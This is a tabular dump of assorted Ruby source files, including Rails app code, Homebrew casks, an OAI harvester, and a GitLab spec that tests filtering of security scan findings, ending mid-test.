hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
1cb5cb388284132f7e05f340b0a98fb0c1b6b95b | 1,302 | module DanbooruMaintenance
module_function
def hourly
UploadErrorChecker.new.check!
rescue Exception => exception
rescue_exception(exception)
end
def daily
PostPruner.new.prune!
Upload.where('created_at < ?', 1.day.ago).delete_all
Delayed::Job.where('created_at < ?', 45.days.ago).delete_all
PostVote.prune!
CommentVote.prune!
ApiCacheGenerator.new.generate_tag_cache
PostDisapproval.prune!
ForumSubscription.process_all!
TagAlias.update_cached_post_counts_for_all
PostDisapproval.dmail_messages!
Tag.clean_up_negative_post_counts!
SuperVoter.init!
TokenBucket.prune!
TagChangeRequestPruner.warn_all
TagChangeRequestPruner.reject_all
Ban.prune!
ApplicationRecord.without_timeout do
ActiveRecord::Base.connection.execute("vacuum analyze") unless Rails.env.test?
end
rescue Exception => exception
rescue_exception(exception)
end
def weekly
ActiveRecord::Base.connection.execute("set statement_timeout = 0")
UserPasswordResetNonce.prune!
ApproverPruner.prune!
TagRelationshipRetirementService.find_and_retire!
rescue Exception => exception
rescue_exception(exception)
end
def rescue_exception(exception)
DanbooruLogger.log(exception)
raise exception
end
end
| 26.571429 | 84 | 0.758065 |
28ceee32ec7121488c88a5d367788957ca53529f | 786 | class MicropostsController < ApplicationController
before_action :logged_in_user, only: [:create, :destroy]
before_action :correct_user, only: [:destroy]
def create
@micropost = current_user.microposts.build(micropost_params)
if @micropost.save
flash[:success] = "Post successfully created"
redirect_to root_url
else
@feed_items = []
render 'static_pages/home'
end
end
def destroy
@micropost.destroy
flash[:success] = "Post deleted"
redirect_back(fallback_location: root_url)
end
private
def micropost_params
params.require(:micropost).permit(:content, :picture)
end
def correct_user
@micropost = current_user.microposts.find_by(id: params[:id])
redirect_to root_url if @micropost.nil?
end
end
| 23.117647 | 65 | 0.71374 |
d57ed3f59c2ce9e2ec22eaf9d27b466e02131f8c | 87 | require "resilient/version"
module Resilient
end
require "resilient/circuit_breaker"
| 12.428571 | 35 | 0.827586 |
1cdbb29bb824a71ad8a05dbf5bbf6a160f2b286c | 967 | cask "signal-beta" do
arch = Hardware::CPU.intel? ? "x64" : "arm64"
version "5.37.0-beta.2"
if Hardware::CPU.intel?
sha256 "3d47c433ed7fe23b96ee3d70c2a5244b39963c4a9653cc8adb91d17daf3ba045"
else
sha256 "7b881745ec38a69d18a9b6ba5655c0e851ee90224b1c29e8485294d71a98de50"
end
url "https://updates.signal.org/desktop/signal-desktop-beta-mac-#{arch}-#{version}.dmg"
name "Signal Beta"
desc "Instant messaging application focusing on security"
homepage "https://signal.org/"
livecheck do
url "https://github.com/signalapp/Signal-Desktop"
regex(/^v?(\d+(?:\.\d+)+[._-]beta\.\d+)$/i)
end
auto_updates true
app "Signal Beta.app"
zap trash: [
"~/Library/Application Support/Signal",
"~/Library/Preferences/org.whispersystems.signal-desktop.helper.plist",
"~/Library/Preferences/org.whispersystems.signal-desktop.plist",
"~/Library/Saved Application State/org.whispersystems.signal-desktop.savedState",
]
end
| 29.30303 | 89 | 0.720786 |
7af9b1e150a056869d3bc5f16fc84105a13c0e6f | 277 | # frozen_string_literal: true
module HykuAddons
class ContributorInstitutionalRelationshipService < HykuAddons::QaSelectService
def initialize(model: nil, locale: nil)
super("contributor_institutional_relationship", model: model, locale: locale)
end
end
end
| 27.7 | 83 | 0.787004 |
bba6a8701c9ee8302ae319882477b8d5f2d93800 | 413 | cask :v1 => 'levelator' do
version '2.1.1'
sha256 '2f22f1cf7851a987dcb194a504e43f8255261d428074ea7144e2683b79d6975d'
url "http://cdn.conversationsnetwork.org/Levelator-#{version}.dmg"
name 'Levelator'
homepage 'http://www.conversationsnetwork.org/levelator/'
license :unknown # todo: change license and remove this comment; ':unknown' is a machine-generated placeholder
app 'Levelator.app'
end
| 34.416667 | 115 | 0.762712 |
b9cfa8f58828aff72e0988939f1f068691b5cea7 | 340 | require "japanese_number_unit/version"
module JapaneseNumberUnit
class Error < StandardError; end
end
class Integer
def 十; self * 10; end
def 百; self * 100; end
def 千; self * 1000; end
def 万; self * 10000; end
def 億; self * 1_0000_0000; end
def 兆; self * 1_0000_0000_0000; end
def 京; self * 1_0000_0000_0000_0000; end
end
| 21.25 | 42 | 0.708824 |
4a4aa83d97c8f913ea69739bf68bcd932746fc1c | 3,481 | require 'oai'
require 'xml'
require './lib/model'
require './lib/utilities'
class OaiHarvester
XML_PARSER = 'libxml'
def initialize(logger)
@logger = logger
end
def save_repository_record(record_set,metadata_format,repo,limit,harvest_count)
record_set.doc.find('//record').each do |rec|
record_harvested_ok = false
xml_doc = XML::Document.new
root_element = xml_doc.import(rec)
xml_doc.root = root_element
record_id = extract_record_id_from_xml(xml_doc)
oai_pmh_record = RepositoryRecord.get(record_id)
if !oai_pmh_record then
oai_pmh_record = RepositoryRecord.new
oai_pmh_record.id = record_id
oai_pmh_record.metadata_format = metadata_format
oai_pmh_record.repository_id = repo.id
oai_pmh_record.xml = xml_doc
if !oai_pmh_record.deleted then
oai_pmh_record.save
record_harvested_ok = true
end
else
#TODO figure out how an update should behave
end
if record_harvested_ok then
harvest_count += 1
@logger.debug("Harvested record with id = #{oai_pmh_record.id} harvest_count = #{harvest_count}")
end
if (limit > 0 && harvest_count > (limit-1)) then
return harvest_count
end
end
return harvest_count
end
def harvest(repo,metadata_format,limit,from,fresh_harvest=true)
@logger.info("Harvesting #{metadata_format.prefix} records from repo: '#{repo.name}'....")
begin
harvest_count = 0
if(fresh_harvest) then
repo.repository_records.each do |record|
record.issues.destroy
record.destroy
end
end
client = OAI::Client.new(repo.base_url, :parser => XML_PARSER)
record_set = client.list_records(:metadata_prefix => metadata_format.prefix,:from => from)
harvest_count = save_repository_record(record_set,metadata_format,repo,limit,harvest_count)
resumption_token = record_set.resumption_token
@logger.debug("Resumption token = #{resumption_token}")
while resumption_token && (limit == 0 || harvest_count < limit) do
@logger.debug("Harvest count = #{harvest_count}")
record_set = client.list_records(:resumption_token => resumption_token)
harvest_count = save_repository_record(record_set,metadata_format,repo,limit,harvest_count)
resumption_token = record_set.resumption_token
end
rescue Exception => e
@logger.error(e.message)
ensure
repo.harvested = Time.now
repo.save
@logger.info("Completed harvest of #{metadata_format.prefix} records from repo: '#{repo.name}'")
end
end
def check_metadata_formats_available(repo)
begin
@logger.debug("Beginning metadata formats check for repo: '#{repo.name}'....")
client = OAI::Client.new(repo.base_url, :parser => XML_PARSER)
response = client.list_metadata_formats
response.doc.find('//metadataFormat').each do |format_element|
metadata_format = MetadataFormat.first_or_create(:prefix => format_element.find_first('metadataPrefix').content)
metadata_format.repositories << repo
metadata_format.save
@logger.debug("Repository '#{repo.name}' is enabled for '#{metadata_format.prefix}'")
end
rescue Exception => e
@logger.error(e.message)
repo.error = true
ensure
repo.save
@logger.debug("Completed check for repo: '#{repo.name}'")
end
end
end | 36.642105 | 120 | 0.681413 |
18b018ec67b0290c2a7575e9938fce36ac9e0728 | 775 | # Use this file to easily define all of your cron jobs.
#
# It's helpful, but not entirely necessary to understand cron before proceeding.
# http://en.wikipedia.org/wiki/Cron
# Example:
#
# set :output, "/path/to/my/cron_log.log"
#
# every 2.hours do
# command "/usr/bin/some_great_command"
# runner "MyModel.some_method"
# rake "some:great:rake:task"
# end
#
# every 4.days do
# runner "AnotherModel.prune_old_records"
# end
# Learn more: http://github.com/javan/whenever
ENV.each { |k, v| env(k, v) }
set :environment, "development"
set :output, 'log/rake.log'
project_dir = `echo $PWD`.strip
every 1.day, at: ['5:00 pm', '5:30 pm', '6:00 pm', '6:30 pm', '10:00 pm'] do
command "cd #{project_dir}; \
rake run; \
rake db:seed:commit"
end
| 24.21875 | 80 | 0.659355 |
1db8928db0d377e025bdaec90cc314ed0d5ebc5f | 1,115 | Hsemail::Application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# In the development environment your application's code is reloaded on
# every request. This slows down response time but is perfect for development
# since you don't have to restart the web server when you make code changes.
config.cache_classes = false
# Do not eager load code on boot.
config.eager_load = false
# Show full error reports and disable caching.
config.consider_all_requests_local = true
config.action_controller.perform_caching = false
# Don't care if the mailer can't send.
config.action_mailer.raise_delivery_errors = false
# Print deprecation notices to the Rails logger.
config.active_support.deprecation = :log
# Raise an error on page load if there are pending migrations
config.active_record.migration_error = :page_load
# Debug mode disables concatenation and preprocessing of assets.
# This option may cause significant delays in view rendering with a large
# number of complex assets.
config.assets.debug = true
end
| 37.166667 | 85 | 0.772197 |
1d0f01cc601ebf42f20ba47d4e41022a39ac03e8 | 1,443 | cask 'mactex' do
version '20160603'
sha256 '34e5c48846a674e0025e92bf1ab7bb43a1108f729b4c26c61edcda24fa5383e3'
# mirror.ctan.org/systems/mac/mactex was verified as official when first introduced to the cask
url "http://mirror.ctan.org/systems/mac/mactex/mactex-#{version}.pkg"
appcast 'https://www.tug.org/mactex/downloading.html',
checkpoint: '14b52a4b06fa7259d2665c2a26f41dde0ee15fb61cb9b69c707ad916e9dd8073'
name 'MacTeX'
homepage 'https://www.tug.org/mactex/'
license :oss
pkg "mactex-#{version}.pkg"
uninstall pkgutil: [
'org.tug.mactex.ghostscript9.19',
'org.tug.mactex.gui2016',
'org.tug.mactex.texlive2016',
],
delete: [
'/usr/local/texlive/2016',
'/Applications/TeX',
'/Library/PreferencePanes/TeXDistPrefPane.prefPane',
'/etc/paths.d/TeX',
'/etc/manpaths.d/TeX',
]
zap delete: [
'/usr/local/texlive/texmf-local',
'~/Library/texlive/2016',
'~/Library/Application Support/TeXShop',
'~/Library/Application Support/TeX Live Utility',
'~/Library/TeXShop',
],
rmdir: [
'/usr/local/texlive',
'~/Library/texlive',
]
end
| 36.075 | 97 | 0.540541 |
037203413d28c842a7d148e9255767ce745b3b36 | 765 | module AriaApi
class Configuration
REQUIRED_ATTS = [ :auth_key, :client_no, :url ]
class << self
attr_writer *REQUIRED_ATTS
attr_writer :api_version
end
def self.required_attribute(*attributes) # :nodoc:
attributes.each do |attribute|
(class << self; self; end).send(:define_method, attribute) do
attribute_value = instance_variable_get("@#{attribute}")
raise ConfigurationError.new(attribute.to_s, "needs to be set") unless attribute_value
attribute_value
end
end
end
required_attribute *REQUIRED_ATTS
def self.credentials
{ :auth_key => auth_key, :client_no => client_no }
end
def self.api_version
@api_version ||= "6.4"
end
end
end
| 25.5 | 96 | 0.65098 |
b943e19a89311337e38c7b800f01e873472bd893 | 64 | require 'spec_helper'
describe Acquia::CloudApi::Client do
end
| 12.8 | 36 | 0.796875 |
08c553214b30da86ef797588ac3a8a866961077d | 3,721 | module AppliedInventories
module Methods
include AppliedInventories::Data
def stub_api_init(workflow)
# call in service_offering
expect(topology_api_client).to receive(:show_service_offering)
.with(workflow[:template].id.to_s)
.and_return(workflow[:template])
# call in parser#initialize
if workflow[:prompted_inventory].present?
expect(topology_api_client).to receive(:show_service_inventory)
.with(workflow[:prompted_inventory].id.to_s)
.and_return(workflow[:prompted_inventory])
end
template_inventories, node_inventories = [], []
if is_job_template?(workflow[:template])
template_inventories << workflow[:inventory] unless workflow[:inventory].nil?
elsif is_workflow_template?(workflow[:template])
# calls in parser#load_nodes_and_templates
stub_api_init_template(workflow, template_inventories, node_inventories)
end
# calls in parser#load_node_inventories
node_inventories.compact!
if node_inventories.present?
expect(topology_api_client).to receive(:list_service_inventories)
.with(hash_including(:filter => {:id => {:eq => match_array(node_inventories.map(&:id))}}))
.and_return(inventory_collection(node_inventories))
end
# calls in parser#load_template_inventories
template_inventories.compact!
if template_inventories.present?
expect(topology_api_client).to(receive(:list_service_inventories)
.with(:filter => {:id => {:eq => match_array(template_inventories.map(&:id).uniq)}})
.and_return(inventory_collection(template_inventories)))
end
end
def stub_api_init_template(parent_template, template_inventories, node_inventories)
template_inventories << parent_template[:inventory] if parent_template[:inventory]
return if is_job_template?(parent_template[:template])
child_nodes = if parent_template[:child_nodes].nil?
[]
else
parent_template[:child_nodes].collect {|node_hash| node_hash[:node] }
end
expect(topology_api_client).to receive(:list_service_offering_nodes)
.with(:filter => {:root_service_offering_id => parent_template[:template].id})
.and_return(node_collection(child_nodes))
return if child_nodes.blank?
template_ids, templates, templates_hash = [], [], []
parent_template[:child_nodes].each do |child_node|
node_inventories << child_node[:inventory]
next if child_node[:template].blank?
templates << child_node[:template][:template]
templates_hash << child_node[:template]
template_ids << child_node[:template][:template].id
end
expect(topology_api_client).to(receive(:list_service_offerings)
.with(:filter => {:id => {:eq => match_array(template_ids.uniq)}})
.and_return(template_collection(templates)))
templates_hash.each do |template_hash|
stub_api_init_template(template_hash, template_inventories, node_inventories)
end
end
def is_job_template?(template)
template.extra[:type] == 'job_template'
end
def is_workflow_template?(template)
template.extra[:type] == 'workflow_job_template'
end
end
end
| 43.776471 | 132 | 0.619457 |
4abd01395d8fc7c8e2331c905eb4cf47f35c305f | 3,482 | #!/usr/bin/env rspec
require 'spec_helper'
require 'puppet/parser/relationship'
describe Puppet::Parser::Relationship do
before do
@source = Puppet::Resource.new(:mytype, "source")
@target = Puppet::Resource.new(:mytype, "target")
@extra_resource = Puppet::Resource.new(:mytype, "extra")
@extra_resource2 = Puppet::Resource.new(:mytype, "extra2")
@dep = Puppet::Parser::Relationship.new(@source, @target, :relationship)
end
describe "when evaluating" do
before do
@catalog = Puppet::Resource::Catalog.new
@catalog.add_resource(@source)
@catalog.add_resource(@target)
@catalog.add_resource(@extra_resource)
@catalog.add_resource(@extra_resource2)
end
it "should fail if the source resource cannot be found" do
@catalog = Puppet::Resource::Catalog.new
@catalog.add_resource @target
lambda { @dep.evaluate(@catalog) }.should raise_error(ArgumentError)
end
it "should fail if the target resource cannot be found" do
@catalog = Puppet::Resource::Catalog.new
@catalog.add_resource @source
lambda { @dep.evaluate(@catalog) }.should raise_error(ArgumentError)
end
it "should add the target as a 'before' value if the type is 'relationship'" do
@dep.type = :relationship
@dep.evaluate(@catalog)
@source[:before].should be_include("Mytype[target]")
end
it "should add the target as a 'notify' value if the type is 'subscription'" do
@dep.type = :subscription
@dep.evaluate(@catalog)
@source[:notify].should be_include("Mytype[target]")
end
it "should supplement rather than clobber existing relationship values" do
@source[:before] = "File[/bar]"
@dep.evaluate(@catalog)
# this test did not work before. It was appending the resources
# together as a string
(@source[:before].class == Array).should be_true
@source[:before].should be_include("Mytype[target]")
@source[:before].should be_include("File[/bar]")
end
it "should supplement rather than clobber existing resource relationships" do
@source[:before] = @extra_resource
@dep.evaluate(@catalog)
(@source[:before].class == Array).should be_true
@source[:before].should be_include("Mytype[target]")
@source[:before].should be_include(@extra_resource)
end
it "should supplement rather than clobber multiple existing resource relationships" do
@source[:before] = [@extra_resource, @extra_resource2]
@dep.evaluate(@catalog)
(@source[:before].class == Array).should be_true
@source[:before].should be_include("Mytype[target]")
@source[:before].should be_include(@extra_resource)
@source[:before].should be_include(@extra_resource2)
end
it "should use the collected retargets if the target is a Collector" do
orig_target = @target
@target = Puppet::Parser::Collector.new(stub("scope"), :file, "equery", "vquery", :virtual)
@target.collected[:foo] = @target
@dep.evaluate(@catalog)
@source[:before].should be_include("Mytype[target]")
end
it "should use the collected resources if the source is a Collector" do
orig_source = @source
@source = Puppet::Parser::Collector.new(stub("scope"), :file, "equery", "vquery", :virtual)
@source.collected[:foo] = @source
@dep.evaluate(@catalog)
orig_source[:before].should be_include("Mytype[target]")
end
end
end
| 37.042553 | 97 | 0.676623 |
3348938ce4967254fc2ba9b022ed1cc4c8841123 | 538 | module Braintree
class RevokedPaymentMethodMetadata
include BaseModule
attr_reader :customer_id
attr_reader :token
attr_reader :revoked_payment_method
def initialize(gateway, attributes)
@revoked_payment_method = PaymentMethodParser.parse_payment_method(gateway, attributes)
@customer_id = @revoked_payment_method.customer_id
@token = @revoked_payment_method.token
end
class << self
protected :new
def _new(*args) # :nodoc:
self.new *args
end
end
end
end
| 23.391304 | 93 | 0.711896 |
6a45e97ee79e44918945b6a5c77bbb4cd1b57f01 | 862 | require 'rails/generators'
class TestAppGenerator < Rails::Generators::Base
source_root File.expand_path("../../../../test_app_templates", __FILE__)
def fix_travis_rails_4
if ENV['TRAVIS']
insert_into_file 'app/assets/stylesheets/application.css', :before =>'/*' do
"@charset \"UTF-8\";\n"
end
end
end
def remove_index
remove_file "public/index.html"
end
def run_blacklight_generator
say_status("warning", "GENERATING BL", :yellow)
gem 'blacklight-marc', "~> 5.0", :github => 'projectblacklight/blacklight_marc'
Bundler.with_clean_env do
run "bundle install"
end
generate 'blacklight:install', '--devise --marc'
end
def run_test_support_generator
say_status("warning", "GENERATING test_support", :yellow)
generate 'blacklight:test_support'
end
end
| 24.628571 | 88 | 0.670534 |
285fcfbf38229dca419a7c0f84853c8cb0003f9d | 4,455 | require 'optparse'
require 'ostruct'
require 'netlinx/compile/extension_discovery'
module NetLinx
module Compile
# The container for the script that runs when netlinx-compile is executed.
class Script
private_class_method :new
class << self
# Run the script.
# @option kwargs [Array<String>] :argv A convenience to override ARGV,
# like for testing.
def run(**kwargs)
args = kwargs.fetch :argv, ARGV
# Command line options.
@options = OpenStruct.new \
source: '',
include_paths: [],
use_workspace: false
OptionParser.new do |opts|
opts.banner = "Usage: netlinx-compile [options]"
opts.on '-h', '--help', 'Display this help screen.' do
puts opts
exit
end
opts.on '-s', '--source FILE', 'Source file to compile.' do |v|
@options.source = v
end
opts.on '-i', '--include [Path1,Path2]', Array, 'Additional include and module paths.' do |v|
@options.include_paths = v
end
opts.on '-w', '--workspace', '--smart',
'Search up directory tree for a workspace',
'containing the source file.' do |v|
@options.use_workspace = v
end
end.parse! args
if @options.source.empty?
puts "No source file specified.\nRun \"netlinx-compile -h\" for help."
exit
end
# Find an ExtensionHandler for the given file.
ExtensionDiscovery.discover
source_file = File.expand_path @options.source
handler = NetLinx::Compile::ExtensionDiscovery.get_handler source_file
# If the handler is a workspace handler, go straight to compiling it.
# Otherwise, if the use_workspace flag is true, search up through the
# directory tree to try to find a workspace that includes the
# specified source file.
if (not handler.is_a_workspace?) && @options.use_workspace
workspace_extensions = NetLinx::Compile::ExtensionDiscovery.workspace_extensions
dir = File.expand_path '.'
while dir != File.expand_path('..', dir) do
workspaces = Dir["#{dir}/*.{#{workspace_extensions.join ','}}"]
unless workspaces.empty?
# TODO: Handle workspace file extension usurping logic here.
new_source_file = workspaces.first
new_handler = NetLinx::Compile::ExtensionDiscovery.get_handler new_source_file
new_handler_class = new_handler.handler_class.new \
file: File.expand_path(new_source_file)
# If supported by the new_handler, make sure the source_file is
# included in the workspace before overwriting the old handler.
overwrite_old_handler = false
if new_handler_class.respond_to? :include?
overwrite_old_handler = true if new_handler_class.include? source_file
else
# Workspace doesn't expose an interface to see if it
# includes the source file, so assume it does.
# Otherwise the user could have compiled without the
# workspace flag.
overwrite_old_handler = true
end
if overwrite_old_handler
source_file = new_source_file
handler = new_handler
handler_class = new_handler_class
break
end
end
dir = File.expand_path '..', dir
end
end
# Instantiate the class that can handle compiling of the file.
handler_class = handler.handler_class.new \
file: File.expand_path(source_file)
result = handler_class.compile
result.map {|r| r.to_s}
end
end
end
end
end | 38.405172 | 106 | 0.520763 |
284085e5badba474686d9933282fa8d01b35e7bd | 182 | class AddForeignKeyOnArguments < ActiveRecord::Migration[5.1]
def change
add_foreign_key :riews_arguments, :riews_filter_criterias, column: :riews_filter_criteria_id
end
end
| 30.333333 | 96 | 0.818681 |
ed27314519e5f8181b05aff1f14c5448f038aa10 | 779 | require 'spec_helper'
describe 'component' do
platform 'ubuntu'
step_into :android_component
default_attributes['ark']['prefix_root'] = '/usr/local/'
default_attributes['ark']['prefix_home'] = '/usr/local/'
default_attributes['android']['set_environment_variables'] = true
default_attributes['android']['java_from_system'] = true
context 'install' do
recipe do
android_component 'system-images;android-23;google_apis;armeabi-v7a' do
user 'random'
group 'staff'
end
end
it { is_expected.to install_package('expect') }
it { is_expected.to run_script('Install Android SDK component system-images;android-23;google_apis;armeabi-v7a').with(:interpreter => 'expect') }
# TODO: test notifies to "fix ownership"
end
end
| 32.458333 | 149 | 0.709884 |
3363c3c02fe7c955592cc1d0f7f8a48b48d6f793 | 13,897 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe Security::PipelineVulnerabilitiesFinder do
def disable_deduplication
allow(::Security::MergeReportsService).to receive(:new) do |*args|
instance_double('NoDeduplicationMergeReportsService', execute: args.last)
end
end
let_it_be(:project) { create(:project, :repository) }
let_it_be(:pipeline, reload: true) { create(:ci_pipeline, :success, project: project) }
describe '#execute' do
let(:params) { {} }
let_it_be(:build_cs) { create(:ci_build, :success, name: 'cs_job', pipeline: pipeline, project: project) }
let_it_be(:build_dast) { create(:ci_build, :success, name: 'dast_job', pipeline: pipeline, project: project) }
let_it_be(:build_ds) { create(:ci_build, :success, name: 'ds_job', pipeline: pipeline, project: project) }
let_it_be(:build_sast) { create(:ci_build, :success, name: 'sast_job', pipeline: pipeline, project: project) }
let_it_be(:artifact_cs) { create(:ee_ci_job_artifact, :container_scanning, job: build_cs, project: project) }
let_it_be(:artifact_dast) { create(:ee_ci_job_artifact, :dast, job: build_dast, project: project) }
let_it_be(:artifact_ds) { create(:ee_ci_job_artifact, :dependency_scanning, job: build_ds, project: project) }
let!(:artifact_sast) { create(:ee_ci_job_artifact, :sast, job: build_sast, project: project) }
let(:cs_count) { read_fixture(artifact_cs)['vulnerabilities'].count }
let(:ds_count) { read_fixture(artifact_ds)['vulnerabilities'].count }
let(:sast_count) { read_fixture(artifact_sast)['vulnerabilities'].count }
let(:dast_count) do
read_fixture(artifact_dast)['site'].sum do |site|
site['alerts'].sum do |alert|
alert['instances'].size
end
end
end
before do
stub_licensed_features(sast: true, dependency_scanning: true, container_scanning: true, dast: true)
# Stub out deduplication, if not done the expectations will vary based on the fixtures (which may/may not have duplicates)
disable_deduplication
end
subject { described_class.new(pipeline: pipeline, params: params).execute }
context 'findings' do
it 'assigns commit sha to findings' do
expect(subject.findings.map(&:sha).uniq).to eq([pipeline.sha])
end
context 'by order' do
let(:params) { { report_type: %w[sast] } }
let!(:high_high) { build(:vulnerabilities_finding, confidence: :high, severity: :high) }
let!(:critical_medium) { build(:vulnerabilities_finding, confidence: :medium, severity: :critical) }
let!(:critical_high) { build(:vulnerabilities_finding, confidence: :high, severity: :critical) }
let!(:unknown_high) { build(:vulnerabilities_finding, confidence: :high, severity: :unknown) }
let!(:unknown_medium) { build(:vulnerabilities_finding, confidence: :medium, severity: :unknown) }
let!(:unknown_low) { build(:vulnerabilities_finding, confidence: :low, severity: :unknown) }
it 'orders by severity and confidence' do
allow_next_instance_of(described_class) do |pipeline_vulnerabilities_finder|
allow(pipeline_vulnerabilities_finder).to receive(:filter).and_return([
unknown_low,
unknown_medium,
critical_high,
unknown_high,
critical_medium,
high_high
])
expect(subject.findings).to eq([critical_high, critical_medium, high_high, unknown_high, unknown_medium, unknown_low])
end
end
end
end
context 'by report type' do
context 'when sast' do
let(:params) { { report_type: %w[sast] } }
let(:sast_report_fingerprints) {pipeline.security_reports.reports['sast'].findings.map(&:location).map(&:fingerprint) }
it 'includes only sast' do
expect(subject.findings.map(&:location_fingerprint)).to match_array(sast_report_fingerprints)
expect(subject.findings.count).to eq(sast_count)
end
end
context 'when dependency_scanning' do
let(:params) { { report_type: %w[dependency_scanning] } }
let(:ds_report_fingerprints) {pipeline.security_reports.reports['dependency_scanning'].findings.map(&:location).map(&:fingerprint) }
it 'includes only dependency_scanning' do
expect(subject.findings.map(&:location_fingerprint)).to match_array(ds_report_fingerprints)
expect(subject.findings.count).to eq(ds_count)
end
end
context 'when dast' do
let(:params) { { report_type: %w[dast] } }
let(:dast_report_fingerprints) {pipeline.security_reports.reports['dast'].findings.map(&:location).map(&:fingerprint) }
it 'includes only dast' do
expect(subject.findings.map(&:location_fingerprint)).to match_array(dast_report_fingerprints)
expect(subject.findings.count).to eq(dast_count)
end
end
context 'when container_scanning' do
let(:params) { { report_type: %w[container_scanning] } }
it 'includes only container_scanning' do
fingerprints = pipeline.security_reports.reports['container_scanning'].findings.map(&:location).map(&:fingerprint)
expect(subject.findings.map(&:location_fingerprint)).to match_array(fingerprints)
expect(subject.findings.count).to eq(cs_count)
end
end
end
context 'by scope' do
let(:ds_finding) { pipeline.security_reports.reports["dependency_scanning"].findings.first }
let(:sast_finding) { pipeline.security_reports.reports["sast"].findings.first }
let!(:feedback) do
[
create(
:vulnerability_feedback,
:dismissal,
:dependency_scanning,
project: project,
pipeline: pipeline,
project_fingerprint: ds_finding.project_fingerprint,
vulnerability_data: ds_finding.raw_metadata
),
create(
:vulnerability_feedback,
:dismissal,
:sast,
project: project,
pipeline: pipeline,
project_fingerprint: sast_finding.project_fingerprint,
vulnerability_data: sast_finding.raw_metadata
)
]
end
context 'when unscoped' do
subject { described_class.new(pipeline: pipeline).execute }
it 'returns non-dismissed vulnerabilities' do
expect(subject.findings.count).to eq(cs_count + dast_count + ds_count + sast_count - feedback.count)
expect(subject.findings.map(&:project_fingerprint)).not_to include(*feedback.map(&:project_fingerprint))
end
end
context 'when `dismissed`' do
subject { described_class.new(pipeline: pipeline, params: { report_type: %w[dependency_scanning], scope: 'dismissed' } ).execute }
it 'returns non-dismissed vulnerabilities' do
expect(subject.findings.count).to eq(ds_count - 1)
expect(subject.findings.map(&:project_fingerprint)).not_to include(ds_finding.project_fingerprint)
end
end
context 'when `all`' do
let(:params) { { report_type: %w[sast dast container_scanning dependency_scanning], scope: 'all' } }
it 'returns all vulnerabilities' do
expect(subject.findings.count).to eq(cs_count + dast_count + ds_count + sast_count)
end
end
end
context 'by severity' do
context 'when unscoped' do
subject { described_class.new(pipeline: pipeline).execute }
it 'returns all vulnerability severity levels' do
expect(subject.findings.map(&:severity).uniq).to match_array(%w[unknown low medium high critical info])
end
end
context 'when `low`' do
subject { described_class.new(pipeline: pipeline, params: { severity: 'low' } ).execute }
it 'returns only low-severity vulnerabilities' do
expect(subject.findings.map(&:severity).uniq).to match_array(%w[low])
end
end
end
context 'by confidence' do
context 'when unscoped' do
subject { described_class.new(pipeline: pipeline).execute }
it 'returns all vulnerability confidence levels' do
expect(subject.findings.map(&:confidence).uniq).to match_array %w[unknown low medium high]
end
end
context 'when `medium`' do
subject { described_class.new(pipeline: pipeline, params: { confidence: 'medium' } ).execute }
it 'returns only medium-confidence vulnerabilities' do
expect(subject.findings.map(&:confidence).uniq).to match_array(%w[medium])
end
end
end
context 'by scanner' do
context 'when unscoped' do
subject { described_class.new(pipeline: pipeline).execute }
it 'returns all vulnerabilities with all scanners available' do
expect(subject.findings.map(&:scanner).map(&:external_id).uniq).to match_array %w[bandit bundler_audit find_sec_bugs flawfinder gemnasium klar zaproxy]
end
end
context 'when `zaproxy`' do
subject { described_class.new(pipeline: pipeline, params: { scanner: 'zaproxy' } ).execute }
it 'returns only vulnerabilities with selected scanner external id' do
expect(subject.findings.map(&:scanner).map(&:external_id).uniq).to match_array(%w[zaproxy])
end
end
end
context 'by all filters' do
context 'with found entity' do
let(:params) { { report_type: %w[sast dast container_scanning dependency_scanning], scanner: %w[bandit bundler_audit find_sec_bugs flawfinder gemnasium klar zaproxy], scope: 'all' } }
it 'filters by all params' do
expect(subject.findings.count).to eq(cs_count + dast_count + ds_count + sast_count)
expect(subject.findings.map(&:scanner).map(&:external_id).uniq).to match_array %w[bandit bundler_audit find_sec_bugs flawfinder gemnasium klar zaproxy]
expect(subject.findings.map(&:confidence).uniq).to match_array(%w[unknown low medium high])
expect(subject.findings.map(&:severity).uniq).to match_array(%w[unknown low medium high critical info])
end
end
context 'without found entity' do
let(:params) { { report_type: %w[code_quality] } }
it 'did not find anything' do
expect(subject.created_at).to be_nil
expect(subject.findings).to be_empty
end
end
end
context 'without params' do
subject { described_class.new(pipeline: pipeline).execute }
it 'returns all report_types' do
expect(subject.findings.count).to eq(cs_count + dast_count + ds_count + sast_count)
end
end
context 'when matching vulnerability records exist' do
before do
create(:vulnerabilities_finding,
:confirmed,
project: project,
report_type: 'sast',
project_fingerprint: confirmed_fingerprint)
create(:vulnerabilities_finding,
:resolved,
project: project,
report_type: 'sast',
project_fingerprint: resolved_fingerprint)
create(:vulnerabilities_finding,
:dismissed,
project: project,
report_type: 'sast',
project_fingerprint: dismissed_fingerprint)
end
let(:confirmed_fingerprint) do
Digest::SHA1.hexdigest(
'python/hardcoded/hardcoded-tmp.py:52865813c884a507be1f152d654245af34aba8a391626d01f1ab6d3f52ec8779:B108')
end
let(:resolved_fingerprint) do
Digest::SHA1.hexdigest(
'groovy/src/main/java/com/gitlab/security_products/tests/App.groovy:47:PREDICTABLE_RANDOM')
end
let(:dismissed_fingerprint) do
Digest::SHA1.hexdigest(
'groovy/src/main/java/com/gitlab/security_products/tests/App.groovy:41:PREDICTABLE_RANDOM')
end
subject { described_class.new(pipeline: pipeline, params: { report_type: %w[sast], scope: 'all' }).execute }
it 'assigns vulnerability records to findings providing them with computed state' do
confirmed = subject.findings.find { |f| f.project_fingerprint == confirmed_fingerprint }
resolved = subject.findings.find { |f| f.project_fingerprint == resolved_fingerprint }
dismissed = subject.findings.find { |f| f.project_fingerprint == dismissed_fingerprint }
expect(confirmed.state).to eq 'confirmed'
expect(resolved.state).to eq 'resolved'
expect(dismissed.state).to eq 'dismissed'
expect(subject.findings - [confirmed, resolved, dismissed]).to all(have_attributes(state: 'detected'))
end
end
context 'when being tested for sort stability' do
let(:params) { { report_type: %w[sast] } }
it 'maintains the order of the findings having the same severity and confidence' do
select_proc = proc { |o| o.severity == 'medium' && o.confidence == 'high' }
report_findings = pipeline.security_reports.reports['sast'].findings.select(&select_proc)
found_findings = subject.findings.select(&select_proc)
found_findings.each_with_index do |found, i|
